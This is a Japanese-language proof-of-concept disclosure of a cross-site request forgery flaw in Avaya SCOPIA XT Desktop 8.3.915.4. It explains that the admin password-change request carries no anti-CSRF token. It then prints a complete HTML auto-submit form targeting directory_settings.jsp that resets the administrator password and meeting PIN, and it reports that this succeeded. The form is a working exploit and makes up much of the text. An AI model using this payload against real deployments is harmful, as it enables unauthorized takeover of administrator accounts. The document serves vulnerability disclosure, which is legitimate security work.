
Avaya SCOPIA XT Desktopにおけるクロスサイトリクエストフォージェリ(CSRF)を実証する概念実証コード。アンチCSRFトークンなしで管理者パスワードの変更を可能にします。
このPoCは、SCOPIA XT Desktop バージョン 8.3.915.4 におけるクロスサイトリクエストフォージェリ(CSRF)の悪用方法について説明します。
ウェブサイト: https://support.avaya.com/products/P1421/scopia-desktop/8.2.1
クロスサイトリクエストフォージェリは、ワンクリック攻撃またはセッションライディングとも呼ばれ、CSRFまたはXSRFと略される、Webアプリケーションが信頼するユーザーから不正なコマンドが送信されるという、Webサイトに対する悪意のある攻撃手法の一種です。
「Directory and Authentication」ページで、管理者は自分のパスワードを変更できます。
Burp Suiteでリクエストをキャプチャしたところ、CSRFトークンが実装されておらず、唯一のセキュリティメカニズムがセッションCookieであることが確認できました。
6
この脆弱性を悪用するためのPoCとして、次のHTMLファイルを作成しました。
<!DOCTYPE html>
<html>
<body>
<form method="POST" action="http://example.org:80/scopia/admin/directory_settings.jsp">
<input type="text" name="JSESSIONID" value="">
<input type="text" name="newadminusername" value="">
<input type="text" name="newadminpassword" value="3B09A36C1C32CF30EB8169F43227957C">
<input type="text" name="newenablext1000meetingpin" value="false">
<input type="text" name="newxt1000meetingpin" value="EB8169F43227957C">
<input type="text" name="checkstatus" value="true">
<input type="submit" value="Send">
</form>
</body>
</html>
SCOPIA XT Desktop管理環境に対して有効なCookieを持つブラウザでこれを実行すると、adminユーザーのパスワードを「attacker」に変更することができました。
4
5